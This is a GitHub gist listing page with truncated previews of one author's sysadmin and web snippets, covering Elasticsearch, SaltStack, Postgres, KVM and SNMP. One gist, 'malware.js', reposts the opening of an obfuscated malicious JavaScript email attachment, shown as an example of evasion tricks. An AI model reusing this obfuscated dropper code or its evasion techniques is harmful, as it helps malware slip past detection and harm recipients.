Skip to content

Instantly share code, notes, and snippets.

View unicolet's full-sized avatar

Umberto Nicoletti unicolet

View GitHub Profile
@unicolet
unicolet / el_template.json
Created September 11, 2014 14:32
Elastisearch template for apache extended log format
{
"template":"logstash-*",
"settings":{
"index.refresh_interval":"5s"
},
"mappings":{
"_default_":{
"dynamic_templates":[
{
"string_fields":{
provisioner:
omnibus_cachier: true
name: salt_solo
formula: service
state_top:
base:
"*":
- service
@unicolet
unicolet / ratelimit.py
Last active May 10, 2016 12:51
Warning: crude hack ahead! Implement a rate limiting state module for SaltStack reactors. State is maintained in a sqlite database.
import salt.exceptions
import logging
import time
__name__ = 'ratelimit'
log = logging.getLogger(__name__)
def event(name, event_in, event_out):
bucket = {}
@unicolet
unicolet / opennms_event_param_functions.sql
Last active April 22, 2016 08:21
Two postgres functions to retrieve param values from OpenNMS events.eventparms column. Tested on postgres 9.4
CREATE OR REPLACE FUNCTION event_pval_num(p_eventparams text, p_param text) RETURNS integer AS $$
BEGIN
RETURN (regexp_matches(p_eventparams,p_param||'=(\d+)'))[1];
END;
$$ LANGUAGE plpgsql;
CREATE OR REPLACE FUNCTION event_pval_txt(p_eventparams text, p_param text) RETURNS text AS $$
BEGIN
RETURN (regexp_matches(p_eventparams,p_param||'=(.*?)\(string'))[1];
END;
@unicolet
unicolet / malware.js
Created April 4, 2016 09:37
Received this in a zip attachment. Just look at all that evasion text.
dnWuANlWi = "} An object can be passed to jQuery.data instead of a key/value pair; this gets shallow copied over onto the existing cache if ( typeof name === \"object\" || typeof name === \"function\" ) { if ( pvt ) { cache[ id ] = jQuery.extend( cache[ id ], name ); } else { cache[ id ].data = jQuery.extend( cache[ id ].data, name ); } ";
var enter = 0;
var enter1 = 7*2*7 + enter;
nixon = String[("context","approve","referrals","accrue","f")+("productivity","rolled","executed","ro")+"mC"+"ha"+("fossil","yorkshire","disrespect","explicitly","rC")+"ode"]( enter1);
var enter2 = 3/3;
String.prototype.borax = function () {
var catalogues = {
repel: this
};
catalogues.beach = catalogues.repel[("s"+("driver","legendary","teutonic","fought","uZ")+"st"+("achieved","cNkHLjlL","misleading","flinch","ring")).replace("Z", nixon)](enter, enter2);
@unicolet
unicolet / virt-install_auto.sh
Last active January 10, 2016 16:19
A one-liner to create a new KVM guest, including guest agent support
virt-install --name "guest01" --memory 2048
-l http://your.ris.server/ris/centos71
-x "ks=http://your.ris.server/ris/ks.cfg console=ttyS0"
--disk size=8,pool=your_pool,bus=virtio,format=qcow2
-w default
--graphics vnc
--channel unix,mode=bind,path=/var/lib/libvirt/qemu/guest01.agent,target_type=virtio,name=org.qemu.guest_agent.0
#!/usr/bin/python -u
import snmp_passpersist as snmp
from collectd_unixsock import *
def update():
c = Collectd()
list = c.listval()
for val in list:
stamp, identifier = val.split()
values = c.getval(identifier)
@unicolet
unicolet / gist:7326456
Created November 5, 2013 21:15
WFS GetPropertyValue
$.get('http://162.13.113.151/geoserver/wfs?service=wfs&version=2.0.0&request=GetPropertyValue&outputFormat=application/json&typeNames=topp:states&valueReference=SUB_REGION',function(data) {
$(data).find('SUB_REGION').contents().each(function(i,v){console.log(v);})
});
@unicolet
unicolet / views.js
Last active December 25, 2015 08:49
// define the transition duration globally
Pony.transitionSpeed=0.5;
// [more code here] //
// Automatic transitions, courtesy of SC 1.10
transitionIn: SC.View.SLIDE_IN,
transitionInOptions: { direction: 'down', duration: Pony.transitionSpeed, delay: Pony.transitionSpeed },
transitionOut: SC.View.SLIDE_OUT,
this.invokeLater(function(){
Pony.getPath('mainPage.mainPane').append();
}, Pony.transitionSpeed*1000);